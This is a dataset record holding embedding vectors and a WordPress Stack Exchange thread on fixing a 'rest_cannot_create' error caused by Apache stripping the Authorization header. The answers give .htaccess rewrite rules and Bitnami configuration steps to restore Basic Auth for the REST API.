-0.00931549072265625, -0.00991058349609375, -0.00791168212890625, -0.0189666748046875, -0.032012939453125, 0.01030731201171875, 0.03546142578125, 0.01654052734375, -0.0119781494140625, 0.0247802734375, -0.020599365234375, 0.00411224365234375, -0.047943115234375, 0.04217529296875, -0.04827880859375, 0.06109619140625, 0.06640625, -0.041107177734375, 0.043243408203125, 0.0034351348876953125, -0.0292510986328125, 0.015899658203125, 0.018585205078125, -0.020050048828125, -0.032196044921875, -0.03607177734375, 0.00762176513671875, 0.00800323486328125, 0.025665283203125, -0.0267486572265625, -0.03387451171875, -0.022003173828125, -0.005481719970703125, -0.050689697265625, -0.031463623046875, -0.00820159912109375, -0.07672119140625, -0.02655029296875, -0.05682373046875, -0.057342529296875, 0.01274871826171875, -0.028350830078125, -0.0010013580322265625, -0.0128936767578125, 0.00397491455078125, -0.09326171875, -0.055908203125, -0.087158203125, -0.028411865234375, -0.038238525390625, 0.017333984375, -0.0081329345703125, 0.007518768310546875, -0.030853271484375, -0.014312744140625, -0.0075836181640625, -0.046417236328125, -0.0044403076171875, -0.0323486328125, 0.0161895751953125, -0.048004150390625, 0.0036983489990234375, 0.004848480224609375, -0.01021575927734375, 0.018585205078125, -0.003398895263671875, -0.01441192626953125, -0.00687408447265625, 0.0051422119140625, 0.0284271240234375, 0.017059326171875, -0.0111236572265625, 0.01076507568359375, 0.030792236328125, -0.032440185546875, -0.06207275390625, 0.0157623291015625, -0.05126953125, 0.029815673828125, 0.021148681640625, 0.005462646484375, 0.01277923583984375, 0.02374267578125, -0.035003662109375, -0.0233612060546875, 0.044036865234375, -0.03619384765625, -0.037689208984375, -0.05181884765625, -0.0626220703125, -0.0114288330078125, 0.0687255859375, 0.00588226318359375, -0.014556884765625, 0.0277557373046875, 0.0246734619140625, 0.0283050537109375, -0.0287322998046875, -0.0133209228515625, -0.0290985107421875, 0.03948974609375, 0.0218658447265625, 0.03643798828125, -0.0379638671875, -0.03118896484375, -0.01427459716796875, 0.062286376953125, 0.037445068359375, -0.0243682861328125, 0.02044677734375, 0.0144195556640625, -0.051483154296875, -0.03125, -0.02032470703125, 0.0053863525390625, -0.02398681640625, -0.00533294677734375, 0.01528167724609375, -0.04144287109375, -0.00662994384765625, 0.0006241798400878906, -0.02935791015625, -0.0162353515625, 0.01352691650390625, -0.02001953125, -0.00302886962890625, 0.0247650146484375, -0.0233917236328125, 0.0199432373046875, 0.0035419464111328125, -0.030548095703125, -0.037445068359375, -0.016143798828125, -0.027252197265625, 0.053680419921875, -0.00948333740234375, 0.043121337890625, -0.0266571044921875, 0.024322509765625, -0.02178955078125, 0.01024627685546875, 0.00989532470703125, 0.03973388671875, 0.02191162109375, -0.041107177734375, -0.00177764892578125, -0.050445556640625, -0.01397705078125, -0.05023193359375, -0.03472900390625, 0.0152435302734375, -0.02069091796875, 0.021026611328125, -0.02557373046875, 0.0144500732421875, -0.01128387451171875, -0.0091094970703125, -0.0144195556640625, 0.00905609130859375, -0.0029048919677734375, 0.003894805908203125, -0.016143798828125, -0.021240234375, 0.0645751953125, 0.0217742919921875, 0.00873565673828125, -0.01812744140625, 0.0623779296875, 0.015472412109375, -0.037567138671875, 0.0255279541015625, -0.002094268798828125, 0.01303863525390625, -0.0297088623046875, 0.06805419921875, 0.0125274658203125, 0.02093505859375, 0.05523681640625, -0.0384521484375, 0.0219268798828125, -0.037200927734375, 0.003429412841796875, 0.0202178955078125, -0.00034308433532714844, -0.0159759521484375, 0.023162841796875, 0.0194549560546875, 0.0127410888671875, -0.00988006591796875, -0.0096893310546875, 0.035003662109375, 0.018890380859375, -0.04266357421875, 0.0258026123046875, 0.0004372596740722656, 0.035430908203125, -0.01763916015625, 0.019256591796875, 0.02325439453125, 0.044097900390625, -0.016845703125, -0.0247802734375, 0.004199981689453125, 0.02447509765625, -0.01462554931640625, 0.01335906982421875, -0.030303955078125, 0.03338623046875, 0.003597259521484375, 0.0211944580078125, -0.0233612060546875, 0.00868988037109375, 0.016021728515625, -0.054840087890625, -0.08050537109375, -0.01403045654296875, -0.01042938232421875, 0.035003662109375, 0.079833984375, -0.0308837890625, 0.0290679931640625, 0.05419921875, -0.0264739990234375, 0.02557373046875, -0.004856109619140625, 0.00823974609375, -0.03399658203125, 0.0267791748046875, -0.007007598876953125, 0.0088043212890625, -0.04107666015625, 0.10003662109375, -0.007396697998046875, 0.032989501953125, -0.004474639892578125, 0.0288543701171875, -0.04644775390625, 0.0631103515625, 0.007617950439453125, -0.019989013671875, 0.007640838623046875, 0.0321044921875, -0.0160980224609375, -0.036529541015625, -0.032501220703125, 0.0123443603515625, 0.05181884765625, -0.0272674560546875, -0.026947021484375, 0.037078857421875, -0.0310211181640625, 0.037109375, -0.012451171875, -0.064208984375, -0.037567138671875, 0.0009684562683105469, 0.0194091796875, 0.042755126953125, -0.044525146484375, -0.01824951171875, -0.0189361572265625, -0.0239410400390625, 0.0257720947265625, -0.043609619140625, -0.023834228515625, 0.026763916015625, 0.01238250732421875, -0.005126953125, -0.0218963623046875, -0.03271484375, -0.02935791015625, 0.0010509490966796875, -0.0193634033203125, -0.0191650390625, 0.04913330078125, -0.046234130859375, -0.0182037353515625, -0.0264129638671875, 0.04351806640625, -0.051971435546875, 0.032196044921875, 0.025634765625, 0.0168609619140625, 0.0167694091796875, -0.03314208984375, -0.05169677734375, -0.039093017578125, -0.008758544921875, -0.006591796875, -0.0031223297119140625, 0.0271759033203125, 0.0020503997802734375, 0.039794921875, -0.0082855224609375, -0.00884246826171875, 0.063720703125, 0.0007252693176269531, -0.04364013671875, 0.052947998046875, -0.01153564453125, 0.070556640625, -0.0058135986328125, 0.0301666259765625, 0.0020008087158203125, 0.002593994140625, -0.0268707275390625, -0.0011930465698242188, 0.018646240234375, -0.0157928466796875, -0.022979736328125, -0.038360595703125, -0.016571044921875, -0.01561737060546875, 0.058990478515625, -0.00510406494140625, 0.004383087158203125, 0.0095367431640625, 0.0008921623229980469, -0.0240020751953125, 0.0023899078369140625, 0.01544189453125, 0.0190582275390625, -0.034393310546875, 0.01953125, 0.017303466796875, -0.03619384765625, -0.034423828125, 0.025848388671875, -0.0009593963623046875, 0.0191802978515625, -0.007411956787109375, 0.0004124641418457031, 0.000037729740142822266, 0.01244354248046875, -0.036163330078125, 0.00783538818359375, 0.0205841064453125, -0.002101898193359375, 0.04132080078125, 0.0189208984375, 0.00530242919921875, -0.000045299530029296875, 0.052093505859375, 0.0036468505859375, -0.0243072509765625, 0.024444580078125, -0.0169525146484375, 0.0411376953125, 0.0103302001953125, 0.0687255859375, -0.049652099609375, 0.025054931640625, 0.0283203125, -0.039398193359375, -0.01076507568359375, 0.024566650390625, -0.0077056884765625, -0.034942626953125, -0.078125, -0.00266265869140625, -0.03448486328125, -0.0218505859375, 0.0394287109375, 0.0038967132568359375, -0.0018548965454101562, 0.0023250579833984375, 0.0088043212890625, 0.0150146484375, -0.03302001953125, 0.00006914138793945312, -0.02099609375, 0.0150604248046875, 0.032073974609375, -0.010650634765625, -0.03680419921875, -0.07867431640625, -0.04718017578125, 0.004852294921875, -0.0849609375, 0.007045745849609375, -0.00971221923828125, 0.059967041015625, 0.038543701171875, 0.006305694580078125, -0.017578125, -0.0006699562072753906, 0.0164642333984375, -0.04766845703125, -0.0308685302734375, -0.0073089599609375, 0.0256195068359375, -0.00913238525390625, 0.046478271484375, 0.004486083984375, -0.03509521484375, 0.00853729248046875, 0.04095458984375, 0.034759521484375, -0.005138397216796875, -0.03253173828125, 0.051849365234375, -0.0024623870849609375, -0.02459716796875, 0.00569915771484375, 0.06268310546875, 0.0074462890625, 0.026031494140625, 0.01087188720703125, 0.0209808349609375, -0.0396728515625, 0.005619049072265625, -0.039337158203125, 0.0229034423828125, 0.035858154296875, 0.0022029876708984375, -0.03277587890625, 0.0012912750244140625, 0.01206207275390625, 0.0081634521484375, -0.04144287109375, 0.025543212890625, 0.011810302734375, 0.042938232421875, -0.054229736328125, -0.02197265625, 0.0067138671875, 0.036834716796875, 0.07275390625, 0.0189056396484375, -0.0264434814453125, -0.020355224609375, 0.00447845458984375, 0.008026123046875, -0.036834716796875, 0.03857421875, 0.033782958984375, 0.03570556640625, 0.033203125, -0.046356201171875, 0.0137481689453125, -0.041259765625, 0.022247314453125, 0.053619384765625, 0.0168609619140625, 0.03118896484375, 0.0294189453125, 0.04718017578125, -0.0306549072265625, 0.00925445556640625, 0.042083740234375, -0.055938720703125, -0.025115966796875, 0.045684814453125, 0.0193939208984375, -0.031219482421875, -0.045867919921875, -0.02545166015625, 0.0309295654296875, 0.01279449462890625, -0.0224456787109375, 0.04486083984375, 0.012603759765625, -0.05108642578125, -0.0036468505859375, -0.0059356689453125, -0.00746917724609375, -0.0222015380859375, 0.02239990234375, -0.0147552490234375, -0.0037326812744140625, -0.044525146484375, 0.0267486572265625, 0.038970947265625, 0.0280609130859375, -0.040252685546875, -0.034881591796875, 0.0215911865234375, -0.00284576416015625, 0.0045318603515625, -0.01023101806640625, 0.0171051025390625, -0.06597900390625, -0.02978515625, 0.0057525634765625, -0.022308349609375, -0.0246734619140625, 0.00730133056640625, -0.006031036376953125, 0.02459716796875, 0.027557373046875, -0.03759765625, -0.025726318359375, 0.00201416015625, 0.01666259765625, 0.0281829833984375, -0.0046234130859375, 0.044525146484375, -0.0006337165832519531, -0.01053619384765625, -0.041473388671875, -0.005397796630859375, 0.035675048828125, 0.034088134765625, 0.00754547119140625, 0.0653076171875, 0.01090240478515625, 0.01386260986328125, 0.04449462890625, 0.056182861328125, 0.06494140625, 0.00206756591796875, -0.026824951171875, 0.01324462890625, -0.0258636474609375, -0.0465087890625, -0.0088348388671875, -0.050201416015625, 0.0491943359375, -0.0053863525390625, 0.00446319580078125, -0.006988525390625, 0.0457763671875, -0.00685882568359375, -0.00650787353515625, 0.041717529296875, 0.0134429931640625, -0.016998291015625, 0.01557159423828125, 0.01177978515625, 0.0533447265625, 0.0310821533203125, -0.00931549072265625, -0.01374053955078125, 0.0280609130859375, -0.0010347366333007812, -0.02313232421875, 0.029937744140625, -0.01003265380859375, 0.033538818359375, -0.0196075439453125, 0.010223388671875, 0.05279541015625, -0.04095458984375, 0.0009756088256835938, 0.036956787109375, 0.0149993896484375, 0.003566741943359375, -0.019439697265625, 0.006809234619140625, 0.048736572265625, -0.0138702392578125, -0.026458740234375, 0.01462554931640625, 0.0217132568359375, -0.01534271240234375, -0.00803375244140625, 0.04852294921875, -0.034820556640625, 0.007080078125, -0.03436279296875, 0.029266357421875, 0.052978515625, -0.004993438720703125, -0.033203125, -0.00875091552734375, 0.025054931640625, -0.02960205078125, 0.004131317138671875, -0.0087432861328125, 0.017913818359375, -0.0115509033203125, 0.037872314453125, -0.03131103515625, -0.10198974609375, -0.09674072265625, 0.023956298828125, 0.0075531005859375, 0.047027587890625, -0.0135650634765625, 0.002483367919921875, -0.0225830078125, 0.01528167724609375, -0.00415802001953125, 0.01119232177734375, -0.00370025634765625, 0.0257568359375, -0.0625, -0.0312042236328125, -0.01294708251953125, -0.0163421630859375, 0.025543212890625, -0.007198333740234375, 0.033447265625, 0.019989013671875, 0.028533935546875, 0.046173095703125, 0.0311737060546875, 0.06842041015625, -0.005779266357421875, 0.02972412109375, 0.001941680908203125, 0.0280303955078125, 0.0175018310546875, 0.033233642578125, -0.020233154296875, -0.0285797119140625, -0.0166168212890625, -0.007221221923828125, -0.0233306884765625, -0.060028076171875, -0.0543212890625, 0.026123046875, -0.006984710693359375, -0.0330810546875, 0.00118255615234375, 0.03253173828125, -0.043182373046875, 0.023193359375, -0.035858154296875, -0.00884246826171875, -0.0064544677734375, -0.0091094970703125, -0.037628173828125, 0.0192718505859375, -0.05279541015625, -0.03289794921875, -0.0213470458984375, 0.04052734375, 0.036956787109375, -0.042022705078125, 0.0379638671875, -0.00907135009765625, 0.0550537109375, 0.03875732421875, 0.01308441162109375, -0.007045745849609375, -0.00318145751953125, 0.034027099609375, -0.029571533203125, -0.09112548828125, 0.02838134765625, -0.055999755859375, -0.00438690185546875, -0.021636962890625, 0.00591278076171875, 0.031280517578125, -0.0377197265625, -0.056732177734375, 0.03839111328125, -0.0162506103515625, -0.036834716796875, 0.0313720703125, -0.004680633544921875, -0.0246734619140625, 0.0297088623046875, -0.0010766983032226562, 0.0164794921875, 0.00936126708984375, 0.01091766357421875, -0.005069732666015625, -0.04974365234375, 0.0560302734375, -0.039886474609375, -0.073486328125, -0.029327392578125, -0.0096893310546875, -0.004482269287109375, -0.0025386810302734375, -0.01513671875, 0.0386962890625, 0.032867431640625, -0.01666259765625, -0.01259613037109375, 0.011260986328125, 0.0033397674560546875, 0.016693115234375, 0.03204345703125, -0.061767578125, -0.0287933349609375, 0.032440185546875, 0.0560302734375, 0.0009059906005859375, -0.0010395050048828125, 0.0384521484375, 0.0030040740966796875, -0.05035400390625, -0.020111083984375, 0.015838623046875, -0.06793212890625, -0.05078125, -0.0073089599609375, -0.0213470458984375, -0.00746917724609375, 0.005855560302734375, -0.03826904296875, 0.003635406494140625, -0.00342559814453125, -0.006313323974609375, -0.05084228515625, -0.01012420654296875, -0.037994384765625, 0.01531219482421875, 0.0138397216796875, -0.023895263671875, 0.02081298828125, -0.01267242431640625, 0.033905029296875, -0.0160980224609375, -0.01690673828125, -0.003650665283203125, 0.0134429931640625, -0.0162811279296875, 0.02801513671875, -0.0169830322265625, -0.0204620361328125, -0.005908966064453125, -0.016143798828125, -0.0127410888671875, -0.01204681396484375, -0.00016367435455322266, 0.0225677490234375, -0.0161285400390625, 0.0142364501953125, 0.0030727386474609375, 0.02545166015625, -0.0036487579345703125, 0.037689208984375, -0.0439453125, -0.005588531494140625, -0.046539306640625, -0.000988006591796875, 0.0017118453979492188, -0.002582550048828125, 0.06683349609375, -0.040863037109375, 0.0284271240234375, 0.0084075927734375, 0.027435302734375, 0.0169219970703125 ]
460169e75ae8dbac3780cc33299f19011fc0d5cb
Wordpress Stackexchange Q: authentication issue with rest api - rest_cannot_create I am using the rest api in Wordpress. For authentication I use the Basic authentication plugin (JSON Basic Authentication) I use this request (from both postman and nodejs): POST /wp-json/wp/v2/posts HTTP/1.1 Host: ************** Authorization: Basic ********************* Content-Type: application/json Cache-Control: no-cache { "title": "test", "content": "test", "status": "private", "excerpt": "test" } When testing locally on my server, it works fine but on a VPS I get the following error: { "code": "rest_cannot_create", "message": "Sorry, you are not allowed to create posts as this user", "data": { "status": 401 } } I know the user credentials are correct and the user is allowed to create posts. I suspect that the auth header is lost somewhere before arriving to rest-api. But where should I start debugging? Which logs? A: Authorization header is usually stripped by Apache. You can fix it with .htaccess RewriteEngine On RewriteCond %{HTTP:Authorization} ^(.*) RewriteRule .* - [e=HTTP_AUTHORIZATION:%1]
Q: authentication issue with rest api - rest_cannot_create I am using the rest api in Wordpress. For authentication I use the Basic authentication plugin (JSON Basic Authentication) I use this request (from both postman and nodejs): POST /wp-json/wp/v2/posts HTTP/1.1 Host: ************** Authorization: Basic ********************* Content-Type: application/json Cache-Control: no-cache { "title": "test", "content": "test", "status": "private", "excerpt": "test" } When testing locally on my server, it works fine but on a VPS I get the following error: { "code": "rest_cannot_create", "message": "Sorry, you are not allowed to create posts as this user", "data": { "status": 401 } } I know the user credentials are correct and the user is allowed to create posts. I suspect that the auth header is lost somewhere before arriving to rest-api. But where should I start debugging? Which logs? A: Authorization header is usually stripped by Apache. You can fix it with .htaccess RewriteEngine On RewriteCond %{HTTP:Authorization} ^(.*) RewriteRule .* - [e=HTTP_AUTHORIZATION:%1] A: If you are here because you have already tried everything and still can't create resources via Wordpress Rest API, then let me share what worked for me. First of all, let me give you some context here, I got WordPress launched on an AWS instance using Bitnami. Then I installed WooCommerce and enabled its API in order to play with it as a sandbox system. Immediately after that, I tried to create products using Postman but every time I got errors like "woocommerce_rest_cannot_create" ("Sorry, you are not allowed to create resources."). I tried different authentication methods such as OAuth and Basic Auth but none of them worked. So I thought that maybe I should try WordPress API endpoint instead (instead of Woocommerce's endpoint) and see if I could create posts or users, though that didn't work either. I got errors like: * *"rest_cannot_create" ("Sorry, you are not allowed to create posts as this user.") *"rest_cannot_create_user" ("Sorry, you are not allowed to create new users") Here is what worked for me: * *Install Basic Auth plugin, you can install it by cloning the repo into /opt/bitnami/apps/wordpress/htdocs/wp-content/plugins and then activate it from the plugins page in WP Admin page. Or you can also download the repo as a zip and install from a file from the plugins page in WP Admin. *Change postman (or whatever you are using to send your requests) to use Basic Auth. Use the creds of an existing Administrator user. *Edit the .htaccess file available in /opt/bitnami/apps/wordpress/htdocs (This file is hidden, don't freak out if you can't see it) *Add a new line under RewriteEngine On and insert RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}] save and exit *Edit /opt/bitnami/apps/wordpress/conf/httpd-app.conf add a new line after RewriteEngine On *In the new line insert: RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] save and exit *Restart Apache: sudo /opt/bitnami/ctlscript.sh restart apache *(OPTIONAL) Install Application Passwords By George Stephanis Then I tried again from Postman and everything worked flawlessly. For more details check: https://community.bitnami.com/t/setting-up-api-access-to-wordpress-on-aws-ec2-instance/60589/7
wordpress
{ "language": "en", "length": 483, "provenance": "stackexchange_00019.jsonl.gz:486158", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303479" }
[ 0.0201873779296875, -0.003330230712890625, -0.030303955078125, -0.0195770263671875, 0.0019588470458984375, -0.0232086181640625, 0.0121917724609375, -0.00749969482421875, -0.028961181640625, 0.029083251953125, -0.038116455078125, 0.02362060546875, 0.0033550262451171875, -0.014862060546875, 0.02044677734375, -0.0237579345703125, 0.0013971328735351562, 0.0169830322265625, 0.0207672119140625, -0.0338134765625, 0.01378631591796875, -0.0313720703125, 0.032440185546875, 0.03924560546875, -0.0079193115234375, 0.03143310546875, 0.0595703125, -0.039031982421875, 0.005931854248046875, -0.0178070068359375, 0.003795623779296875, -0.0231475830078125, 0.0084228515625, 0.04095458984375, -0.0477294921875, -0.029449462890625, -0.0293121337890625, 0.0254058837890625, -0.0184326171875, 0.0240325927734375, 0.028717041015625, -0.0231781005859375, 0.05712890625, 0.0129852294921875, 0.01468658447265625, -0.034912109375, 0.0621337890625, -0.05059814453125, 0.0036640167236328125, 0.05364990234375, -0.01549530029296875, 0.04168701171875, -0.0231170654296875, 0.03582763671875, 0.00704193115234375, 0.01000213623046875, 0.0452880859375, -0.0227813720703125, 0.03680419921875, -0.06866455078125, -0.050628662109375, -0.0305023193359375, 0.05096435546875, 0.0175323486328125, 0.033782958984375, -0.005039215087890625, 0.0249481201171875, 0.0299224853515625, 0.00638580322265625, 0.050140380859375, -0.0037384033203125, -0.023345947265625, 0.004619598388671875, -0.0012006759643554688, -0.0090179443359375, -0.057403564453125, 0.0259246826171875, -0.016693115234375, 0.0152740478515625, 0.0128021240234375, 0.0177459716796875, 0.0104217529296875, 0.0137786865234375, -0.01544952392578125, -0.011932373046875, -0.0089569091796875, -0.0094451904296875, -0.00821685791015625, -0.046905517578125, -0.0182342529296875, -0.026702880859375, -0.10101318359375, -0.004116058349609375, 0.023284912109375, -0.005664825439453125, -0.0016393661499023438, -0.00289154052734375, 0.01299285888671875, 0.018280029296875, 0.018585205078125, 0.03857421875, -0.06683349609375, 0.05877685546875, -0.041168212890625, 0.00861358642578125, -0.004566192626953125, 0.0108184814453125, -0.002239227294921875, 0.0307464599609375, 0.0250701904296875, -0.0263824462890625, 0.07501220703125, -0.0095977783203125, -0.007724761962890625, -0.005336761474609375, 0.0173492431640625, -0.029388427734375, 0.0009975433349609375, -0.01384735107421875, -0.009857177734375, -0.0308990478515625, 0.005619049072265625, -0.00530242919921875, 0.02191162109375, 0.0172119140625, 0.012939453125, 0.006725311279296875, -0.006168365478515625, -0.0228118896484375, 0.034637451171875, -0.0169219970703125, 0.0208892822265625, 0.0246429443359375, -0.00429534912109375, -0.025421142578125, -0.019317626953125, 0.0149688720703125, -0.0046844482421875, -0.00296783447265625, 0.0155792236328125, -0.004718780517578125, -0.01348876953125, 0.034088134765625, -0.0174102783203125, -0.01064300537109375, 0.00466156005859375, 0.01763916015625, 0.0160675048828125, 0.001857757568359375, -0.04803466796875, -0.017181396484375, -0.003570556640625, 0.008026123046875, 0.01366424560546875, 0.0614013671875, 0.0026531219482421875, 0.06597900390625, -0.0223541259765625, -0.0167388916015625, -0.002025604248046875, 0.0291900634765625, -0.01204681396484375, 0.015777587890625, -0.014495849609375, -0.041107177734375, -0.0027828216552734375, -0.0516357421875, -0.0204315185546875, 0.0199127197265625, 0.0189361572265625, 0.013275146484375, -0.05499267578125, -0.0249481201171875, -0.01214599609375, -0.01088714599609375, 0.02789306640625, 0.005245208740234375, -0.00026917457580566406, 0.03216552734375, 0.04833984375, 0.029449462890625, -0.001941680908203125, 0.058837890625, 0.0132293701171875, -0.036865234375, 0.0767822265625, 0.0124969482421875, 0.08721923828125, -0.0301513671875, 0.026580810546875, 0.01309967041015625, 0.046234130859375, 0.0003299713134765625, 0.01229095458984375, -0.019439697265625, -0.073486328125, 0.020355224609375, -0.0294952392578125, -0.0200653076171875, 0.04180908203125, 0.017669677734375, 0.022552490234375, -0.03515625, -0.00734710693359375, -0.044525146484375, -0.0141754150390625, 0.004302978515625, 0.0167999267578125, -0.044952392578125, 0.0278778076171875, 0.032562255859375, 0.02130126953125, -0.050506591796875, -0.004390716552734375, 0.0170440673828125, -0.0018606185913085938, -0.008056640625, 0.04620361328125, 0.0011653900146484375, 0.04364013671875, 0.0006909370422363281, -0.045318603515625, 0.005901336669921875, -0.0008931159973144531, 0.025390625, -0.01280975341796875, 0.0031566619873046875, -0.016357421875, 0.0709228515625, -0.019256591796875, 0.0474853515625, -0.004070281982421875, 0.037322998046875, 0.03070068359375, -0.031341552734375, -0.0017719268798828125, -0.02154541015625, -0.0174713134765625, 0.002044677734375, 0.04364013671875, 0.027496337890625, 0.029693603515625, -0.0092315673828125, -0.003673553466796875, 0.028076171875, -0.04986572265625, 0.002590179443359375, -0.00835418701171875, 0.007450103759765625, 0.0172576904296875, 0.0325927734375, -0.010467529296875, 0.0278167724609375, -0.06732177734375, -0.01364898681640625, 0.045074462890625, -0.020660400390625, -0.01482391357421875, -0.014862060546875, -0.014923095703125, 0.0173492431640625, -0.045196533203125, -0.0255889892578125, -0.01125335693359375, -0.02008056640625, 0.00997161865234375, 0.0079498291015625, 0.022857666015625, -0.0189056396484375, -0.00737762451171875, 0.024810791015625, 0.01061248779296875, -0.005329132080078125, 0.05084228515625, 0.08856201171875, 0.0182342529296875, -0.042022705078125, -0.0258941650390625, 0.0251007080078125, 0.04644775390625, -0.0003743171691894531, 0.00589752197265625, -0.035491943359375, 0.0005598068237304688, 0.01334381103515625, -0.0513916015625, 0.0001577138900756836, 0.036376953125, 0.051910400390625, 0.0236663818359375, 0.030242919921875, 0.0261077880859375, 0.01363372802734375, 0.04168701171875, 0.0036144256591796875, -0.007335662841796875, 0.03314208984375, -0.05047607421875, 0.061279296875, -0.05218505859375, 0.01045989990234375, 0.048980712890625, -0.00824737548828125, -0.00494384765625, 0.0013341903686523438, 0.015899658203125, -0.0267333984375, 0.025970458984375, 0.0126800537109375, -0.06805419921875, 0.043243408203125, 0.036102294921875, 0.03790283203125, 0.020721435546875, 0.04058837890625, -0.0210723876953125, 0.007511138916015625, 0.045989990234375, -0.0706787109375, -0.12091064453125, 0.0222930908203125, -0.04254150390625, 0.0157623291015625, -0.01178741455078125, -0.0194091796875, -0.0235748291015625, 0.0183868408203125, -0.01183319091796875, -0.0227508544921875, 0.004680633544921875, -0.01751708984375, -0.044830322265625, -0.0682373046875, -0.0577392578125, -0.01043701171875, 0.00803375244140625, 0.003940582275390625, 0.057098388671875, -0.0118865966796875, -0.031280517578125, -0.0296478271484375, 0.0154266357421875, -0.015167236328125, -0.04888916015625, -0.022216796875, 0.0201568603515625, 0.0066375732421875, 0.00876617431640625, 0.03472900390625, 0.0261077880859375, -0.0193328857421875, -0.0046234130859375, -0.01361083984375, -0.03680419921875, -0.0271453857421875, 0.0482177734375, 0.0310516357421875, -0.051483154296875, -0.0019235610961914062, -0.06463623046875, -0.038055419921875, -0.02294921875, -0.06494140625, 0.02557373046875, 0.05633544921875, -0.0038604736328125, -0.0271453857421875, 0.01004791259765625, 0.0014543533325195312, 0.001873016357421875, 0.0155487060546875, -0.0265350341796875, 0.057220458984375, -0.0095672607421875, -0.0216827392578125, -0.04119873046875, 0.066650390625, 0.0016422271728515625, -0.04302978515625, 0.00736236572265625, -0.032196044921875, -0.0328369140625, -0.01806640625, -0.050445556640625, -0.05352783203125, 0.030120849609375, -0.041351318359375, -0.0216827392578125, -0.03546142578125, 0.01181793212890625, -0.026275634765625, 0.038421630859375, 0.021881103515625, -0.0200653076171875, 0.0011425018310546875, 0.0205230712890625, -0.04278564453125, -0.0217742919921875, -0.00928497314453125, -0.01477813720703125, 0.0205078125, -0.0157012939453125, 0.003681182861328125, -0.0333251953125, 0.02398681640625, -0.07904052734375, 0.0246124267578125, -0.02203369140625, 0.035797119140625, -0.045745849609375, 0.01192474365234375, -0.0153350830078125, 0.031463623046875, -0.07489013671875, -0.01727294921875, -0.0149688720703125, -0.0867919921875, -0.0239105224609375, -0.01413726806640625, 0.07574462890625, 0.0222625732421875, -0.0286407470703125, -0.00015401840209960938, 0.05279541015625, -0.0035552978515625, -0.008575439453125, -0.00940704345703125, -0.0062408447265625, -0.024078369140625, 0.020263671875, -0.016143798828125, -0.005268096923828125, -0.0242767333984375, 0.007144927978515625, -0.01308441162109375, 0.01342010498046875, 0.0025043487548828125, -0.04730224609375, 0.022979736328125, -0.034881591796875, -0.039398193359375, -0.052490234375, -0.017608642578125, 0.0308990478515625, -0.035125732421875, 0.031524658203125, -0.06414794921875, -0.0352783203125, 0.05462646484375, 0.00785064697265625, -0.012786865234375, -0.0177154541015625, 0.06439208984375, 0.0098114013671875, -0.0258941650390625, 0.0137786865234375, 0.019134521484375, 0.0214996337890625, -0.0253753662109375, 0.05975341796875, 0.00888824462890625, -0.008758544921875, 0.0947265625, -0.018646240234375, 0.0097198486328125, 0.019805908203125, -0.0258941650390625, 0.0069122314453125, -0.05084228515625, 0.0265960693359375, 0.0272216796875, -0.0229644775390625, 0.006267547607421875, 0.0193939208984375, 0.0218048095703125, 0.031951904296875, -0.0228271484375, 0.00212860107421875, -0.0305633544921875, 0.02288818359375, -0.0631103515625, 0.04351806640625, -0.06304931640625, -0.0193939208984375, -0.014984130859375, 0.01184844970703125, -0.00537109375, -0.007617950439453125, -0.0189971923828125, -0.045654296875, -0.006500244140625, -0.03021240234375, 0.007724761962890625, -0.0268096923828125, -0.02154541015625, -0.044647216796875, -0.0247650146484375, 0.08251953125, 0.004497528076171875, -0.08062744140625, 0.05633544921875, -0.0183258056640625, 0.0179595947265625, 0.03631591796875, -0.01230621337890625, 0.0172576904296875, 0.01036834716796875, 0.00977325439453125, 0.0122222900390625, -0.0269012451171875, -0.004154205322265625, -0.0229034423828125, 0.06756591796875, 0.0242462158203125, 0.00139617919921875, 0.0139312744140625, 0.0382080078125, 0.00972747802734375, 0.0169525146484375, -0.0004673004150390625, 0.01178741455078125, 0.00820159912109375, 0.041229248046875, 0.01445770263671875, -0.00917816162109375, 0.00931549072265625, 0.0220947265625, -0.0090484619140625, -0.078857421875, -0.03851318359375, 0.06201171875, 0.09124755859375, -0.015594482421875, -0.041229248046875, 0.005962371826171875, -0.005077362060546875, -0.0094451904296875, -0.0296173095703125, -0.06793212890625, -0.0291290283203125, -0.0248870849609375, -0.01568603515625, 0.01212310791015625, -0.00861358642578125, 0.002964019775390625, -0.027679443359375, 0.01529693603515625, 0.048797607421875, 0.00791168212890625, 0.01143646240234375, 0.0121612548828125, -0.01094818115234375, -0.0220184326171875, -0.039886474609375, 0.002399444580078125, 0.04034423828125, 0.03955078125, -0.02056884765625, -0.043701171875, 0.0177764892578125, 0.00079345703125, -0.01275634765625, -0.0229644775390625, 0.0105743408203125, 0.01320648193359375, -0.01119232177734375, 0.049530029296875, -0.002346038818359375, -0.033599853515625, -0.0166778564453125, -0.0159912109375, -0.0223846435546875, 0.037445068359375, 0.0166015625, -0.040771484375, -0.0196685791015625, 0.0025463104248046875, 0.02215576171875, -0.0034389495849609375, 0.005523681640625, -0.013275146484375, 0.0173492431640625, 0.006103515625, 0.0478515625, -0.04241943359375, 0.09185791015625, -0.022735595703125, 0.051605224609375, -0.01264190673828125, 0.0418701171875, -0.004856109619140625, -0.0013675689697265625, 0.006134033203125, -0.06494140625, -0.03326416015625, -0.0303955078125, -0.0113525390625, 0.07415771484375, 0.076416015625, 0.002593994140625, 0.00731658935546875, -0.01139068603515625, 0.0046234130859375, -0.0126190185546875, 0.03472900390625, -0.020294189453125, 0.0142364501953125, -0.0018072128295898438, 0.0190887451171875, 0.07659912109375, -0.05780029296875, -0.04571533203125, 0.02349853515625, -0.01039886474609375, 0.039459228515625, 0.030487060546875, -0.03155517578125, 0.0306854248046875, 0.103759765625, 0.0083465576171875, 0.042816162109375, 0.0228424072265625, 0.000331878662109375, 0.03729248046875, 0.0117950439453125, -0.023529052734375, -0.0167083740234375, -0.0118865966796875, -0.00959014892578125, -0.0122528076171875, -0.01873779296875, -0.016265869140625, 0.046142578125, 0.04510498046875, 0.07373046875, -0.0767822265625, 0.0185394287109375, -0.0178680419921875, -0.0236053466796875, 0.07196044921875, -0.00688934326171875, 0.00684356689453125, -0.0164794921875, 0.0304107666015625, -0.0028781890869140625, -0.01280975341796875, 0.00218963623046875, 0.0059814453125, -0.0053253173828125, -0.00091552734375, -0.0094757080078125, 0.008331298828125, 0.0198822021484375, 0.01244354248046875, -0.0201873779296875, 0.046142578125, 0.0009164810180664062, 0.0084991455078125, 0.0077362060546875, 